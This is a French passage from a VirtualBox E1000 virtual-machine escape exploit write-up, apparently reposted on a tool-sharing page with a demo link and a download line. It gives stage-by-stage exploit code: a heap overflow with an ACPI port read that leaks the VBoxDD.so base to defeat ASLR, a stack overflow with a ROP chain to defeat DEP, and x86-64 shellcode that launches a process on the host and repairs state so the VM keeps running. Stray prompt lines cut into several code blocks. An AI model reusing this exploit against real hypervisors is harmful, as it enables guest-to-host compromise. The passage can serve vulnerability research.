[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
Notez le périphérique E1000 à la position #0xE. On peut voir dans la seconde liste que le périphérique suivant se trouve à un décalage de 0x5700 par rapport à E1000, le suivant à 0x19E0, et ainsi de suite. Nous avons déjà dit que ces distances sont toujours les mêmes, et c'est notre opportunité d'exploitation.

Les périphériques qui suivent E1000 sont ICH IC'97, OHCI, ACPI, VirtualBox GIM. En étudiant leurs structures de données, j'ai compris comment utiliser la primitive d'écriture.

Au démarrage de la machine virtuelle, le périphérique ACPI est créé (src/VBox/Devices/PC/DevACPI.cpp) :```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Un gestionnaire d'entrée/sortie de port ACPI est enregistré pour la plage 0x4100-0x410F. Dans le cas du port 0x4107, nous avons :```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
Lorsque le système d'exploitation invité exécute l'instruction INB(0x4107) pour lire un octet depuis le port, le gestionnaire prend un octet du tableau au8SMBusBlkDat[32] à l'index u8SMBusBlkIdx et le renvoie à l'invité. Et c'est ainsi que l'on applique la primitive d'écriture : puisque la distance entre les blocs de tas des périphériques virtuels est constante, il en va de même pour la distance entre le tableau EEPROM93C46.m_au16Data et ACPIState.u8SMBusBlkIdx. En écrivant deux octets dans ACPIState.u8SMBusBlkIdx, nous pouvons lire des données arbitraires dans une plage de 255 octets depuis ACPIState.au8SMBusBlkDat.

Il y a un obstacle. En regardant la structure ACPIState, on peut voir que le tableau est placé à la fin de la structure. Les champs restants sont inutiles à fuiter. Alors, voyons ce que l'on peut trouver après la structure :```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

Il semble qu'il y ait un pointeur vers une chaîne placé à un offset fixe depuis la base de l'image de VBoxDD.so. Le pointeur se trouve à l'offset 0x58 à la fin de ACPIState. Nous pouvons lire ce pointeur octet par octet en utilisant les primitives et finalement obtenir la base de l'image de VBoxDD.so. Nous espérons simplement que les données après la structure ACPIState ne sont pas aléatoires à chaque démarrage de la machine virtuelle. Espérons que non ; le pointeur à l'offset 0x58 est toujours là.

Fuite d'informations

Maintenant, nous combinons les primitives d'écriture et de lecture et les exploitons pour contourner l'ASLR. Nous allons faire déborder le tas en écrasant la structure EEPROM93C46, puis déclencher l'automate fini de l'EEPROM pour écrire l'index dans la structure ACPIState, puis exécuter INB(0x4107) dans l'invité pour accéder à l'ACPI et lire un octet du pointeur. Répéter ces opérations 8 fois en incrémentant l'index de 1.```c uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n");

root@kitploit:~
// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

}

root@kitploit:~
Il a été dit que pour que le sous-écoulement d'entier ne mène pas au débordement de tampon de pile, certains registres E1000 devraient être configurés. L'idée est que le tampon est débordé dans la fonction e1kHandleRxPacket qui est appelée lors du traitement des descripteurs Tx en mode loopback. En effet, en mode loopback, l'invité s'envoie des paquets réseau, ils sont donc reçus juste après leur envoi. Nous désactivons ce mode afin que e1kHandleRxPacket soit inaccessible.

### Contournement du DEP

Nous avons contourné l'ASLR. Maintenant, le mode loopback peut être activé et le débordement de tampon de pile peut être déclenché.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

Pour l'instant, lorsque la dernière instruction de e1kHandleRxPacket est exécutée, l'adresse de retour sauvegardée est écrasée et le contrôle est transféré n'importe où l'attaquant le souhaite. Mais la DEP est toujours là. Elle est contournée de manière classique en construisant une chaîne ROP. Les gadgets ROP allouent de la mémoire exécutable, y copient un chargeur de shellcode et l'exécutent.

Shellcode

Le chargeur de shellcode est trivial. Il copie le début du tampon débordant juste à côté de lui.```asm use64

start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop

payload: ; Here the shellcode is to be

loader_size = $ - start

root@kitploit:~
Le shellcode est exécuté. Sa première partie est:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

Il utilise fork et execve pour créer le processus /usr/bin/xterm. L'attaquant obtient le contrôle de l'anneau 3 de l'hôte.

Continuation du processus

Je pense que chaque exploit devrait être finalisé. Cela signifie qu'il ne devrait pas faire planter l'application, même si, bien sûr, ce n'est pas toujours possible. Nous avons besoin que la machine virtuelle poursuive son exécution, ce qui est réalisé par la deuxième partie du shellcode.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48

root@kitploit:~
; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret
root@kitploit:~
Lorsque e1kHandleRxPacket est appelé, la pile d'appels est :```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

Passons directement à e1kR3NetworkDown_XmitPending qui ne fait rien de plus et retourne à une fonction d'hyperviseur.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }

root@kitploit:~
Le shellcode ajoute 0x48 à RBP pour lui donner la valeur attendue dans e1kR3NetworkDown_XmitPending. Ensuite, les registres RBX, R12, R13, R14, R15 sont récupérés depuis la pile car l'ABI System V exige de les préserver dans une fonction appelée. S'ils ne le sont pas, l'hyperviseur plantera à cause de pointeurs invalides dans ces registres.

Cela pourrait suffire car la machine virtuelle ne plante plus et continue de s'exécuter. Mais une violation d'accès se produira dans la fonction PDMR3QueueDestroyDevice lorsque la VM sera arrêtée. La raison est que lorsque le tas est débordé, une structure importante, PDMQUEUE, est écrasée. De plus, elle est écrasée par les deux derniers gadgets ROP, c'est-à-dire les 16 derniers octets. J'ai essayé de réduire la taille de la chaîne ROP et j'ai échoué, mais lorsque j'ai remplacé les données manuellement, l'hyperviseur plantait toujours. Cela signifiait que l'obstacle n'était pas aussi évident qu'il n'y paraissait.

La structure de données écrasée est une liste chaînée. Les données à écraser se trouvent dans l'avant-dernier élément de la liste ; c'est un pointeur next qui doit être écrasé. Le remède s'est avéré simple :```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

Se débarrasser des deux derniers éléments permet à la machine virtuelle de s'éteindre en douceur.

Démo

https://vimeo.com/299325088

Télécharger l’outil